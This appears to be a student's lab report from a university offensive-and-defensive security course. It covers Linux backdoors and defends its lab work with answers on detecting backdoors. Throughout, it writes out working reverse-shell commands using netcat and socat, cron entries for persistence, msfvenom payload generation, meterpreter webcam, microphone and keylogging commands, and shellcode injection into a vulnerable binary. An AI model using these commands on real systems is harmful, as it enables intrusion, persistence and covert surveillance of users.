20242308 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.基础知识

  1. 后门原理:后门是绕过正常身份认证,非法获取目标主机访问权限的程序/手段,攻击者可远程执行命令、操控主机,分为被动后门(等待攻击者连接)、主动反弹后门(目标主机主动向外发起连接)。反弹shell常用于防火墙限制端口入站访问的环境,目标主动回连攻击机,穿透防火墙。
  2. netcat(nc):网络工具,被称为网络瑞士军刀,可以监听端口、建立TCP/UDP连接、传输数据,可实现反弹shell。nc -lvnp 端口在攻击机开启监听;nc ip 端口 -e /bin/bash实现Linux反弹shell。
  3. socat:增强版netcat,功能更强大,支持更多数据流重定向、pty伪终端,获取交互式shell,可结合计划任务实现持久化后门。
  4. Linux cron计划任务:Linux定时任务守护进程,crontab -e编辑定时任务,能够实现后门持久化,定期执行反弹shell命令,就算shell断开,定时任务会再次反弹连接攻击机。
  5. Metasploit(MSF):渗透测试框架,msfvenom可以生成各类payload、后门可执行程序、shellcode;multi/handler用来监听反弹连接;meterpreter是高级后渗透shell,具备文件操作、系统信息收集、摄像头/麦克风采集、键盘记录、提权等功能。
  6. shellcode:机器指令字节流,没有文件格式,注入到已有程序内存中执行,不需要生成独立可执行文件,常用来漏洞利用。
  7. 持久化:后门技术,确保就算会话断开、主机重启,攻击者仍然可以重新获取目标主机shell;Linux使用cron、rc.local,Windows使用注册表、服务、计划任务。

2.实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

3.实验过程

任务1:使用netcat获取主机操作Shell,cron启动任务

  1. 攻击机终端执行sudo nc -lvnp 4444开启端口4444监听。
  2. 靶机侧执行反弹shell命令:nc 127.0.0.1 4444 -e /bin/bash,建立连接,成功获取shell,执行whoami、id、pwd等命令验证权限。
  3. 使用crontab -e编辑定时任务,新增定时执行反弹shell的cron任务,* * * * * /usr/bin/nc 127.0.0.1 5555 -e /bin/bash > /dev/null 2>&1,每分钟执行一次反弹shell。
  4. 攻击机开启5555端口监听,等待cron定时触发,自动获取shell;crontab -l查看已经配置的计划任务。
    图片1
    图片2

任务2:使用socat获取主机操作Shell,任务计划启动

  1. kali确认socat已经安装,sudo apt install socat。
  2. 攻击机监听:sudo socat TCP‑LISTEN:6667 -。
  3. 靶机执行socat反弹shell命令:socat TCP:127.0.0.1:6667 EXEC:/bash,pty,stderr,获取交互式伪终端shell,可以执行id、whoami。
  4. 配置root的crontab定时任务:* * * * * /usr/bin/socat TCP:127.0.0.1:7777 EXEC:/bash,pty,stderr > /dev/null 2>&1,实现socat后门持久化。
  5. 使用sudo crontab -l查看root用户下定时任务,确认后门任务写入成功。
    图片3
    图片4

任务3:MSF meterpreter生成可执行后门,传输并获取shell

  1. 使用msfvenom生成linux反弹elf后门:bash
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f elf > shell_20242308.elf
  2. chmod +x shell_20242308.elf赋予可执行权限。
  3. 打开msfconsole,使用multi/handler监听模块,设置payload、LHOST、LPORT,run开启监听。
  4. 在靶机运行./shell_20242308.elf,成功回连,拿到meterpreter会话。
  5. meterpreter会话中执行getuid、sysinfo、ls,确认会话正常。
    图片5
    图片6

任务4:meterpreter后渗透功能,采集音视频、键盘记录、尝试提权

  1. 在已经获取的meterpreter会话中:
    ifconfig查看网卡信息;netstat查看网络连接;getpid查看后门进程PID。
    摄像头录制:webcam_snap拍照;麦克风音频录制:record_mic录制音频。
    -键盘记录:keyscan_start开启键盘记录,keyscan_dump导出按键记录,keyscan_stop停止记录。
  2. 执行getsystem尝试提权;linux下执行sudo相关,priv_esc相关模块尝试提升为root权限。
  3. 观察权限变化,查看id确认是否获取root权限。
    图片7
    图片8

任务5:MSF生成shellcode注入pwn1获取反弹shell

  1. 使用msfvenom生成linux x86反弹shellcode,输出c格式。bash
    msfvenom -p linux/x86/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f c
  2. 将shellcode字节码替换到pwn1程序漏洞利用的payload中,覆盖返回地址。
  3. msfconsole开启handler监听端口。
  4. 运行pwn1,触发漏洞,执行注入shellcode,获取反弹shell。
    图片10

4.问题及解决方案

  • 问题1:msf生成elf后门运行,handler收不到meterpreter会话。
  • 解决方案:确认LHOST、LPORT填写正确后,经过排查发现payload架构和系统架构不匹配,重新进行实验使其匹配。

5.学习感悟、思考等

本次实验学习了Linux环境下多种后门实现方式,netcat、socat实现简单反弹shell,cron计划任务实现持久化后门,Metasploit生成二进制后门、shellcode完成渗透。
反弹shell本质是目标主机主动向外建立网络连接,能够绕过防火墙阻止外部入站连接的限制。持久化后门是攻击者维持权限的关键,Linux利用crontab、Windows利用注册表、计划任务实现。
Meterpreter作为高级后渗透工具,不仅仅是简单命令行shell,还可以摄像头拍照、录音、键盘记录、提权、文件窃取,威力很大。同时我也意识到后门技术是双刃剑,安全人员可以用其检测、防御后门,但同时攻击者也能用其来入侵。

回答实验问题:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:①利用软件漏洞,远程代码执行直接植入后门;③恶意软件携带后门

(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:Linux:crontab定时任务;rc.local开机自启;修改~/.bashrc登录触发;systemd自定义服务;恶意ssh密钥。
Windows:注册表run启动项;计划任务;系统服务;组策略脚本;修改快捷方式。

(3)Meterpreter有哪些给你映像深刻的功能?
答:可以摄像头拍照、麦克风录音;键盘记录捕获输入;系统信息收集;自动提权。

(4)如何发现自己有系统有没有被安装后门?
答:①查看网络连接netstat /ss,发现陌生向外连接的异常端口;②查看计划任务crontab、Windows任务计划;③检查开机启动项、服务;④检查陌生进程,查看进程pid对应的程序路径;⑤查看系统日志,看异常登录、异常定时任务执行;⑥杀毒、EDR检测恶意程序;检查authorized_keys是否存在陌生ssh公钥。

参考资料

posted @ 2026-10-19 21:51  万里云烟  阅读(2)  评论(0)    收藏  举报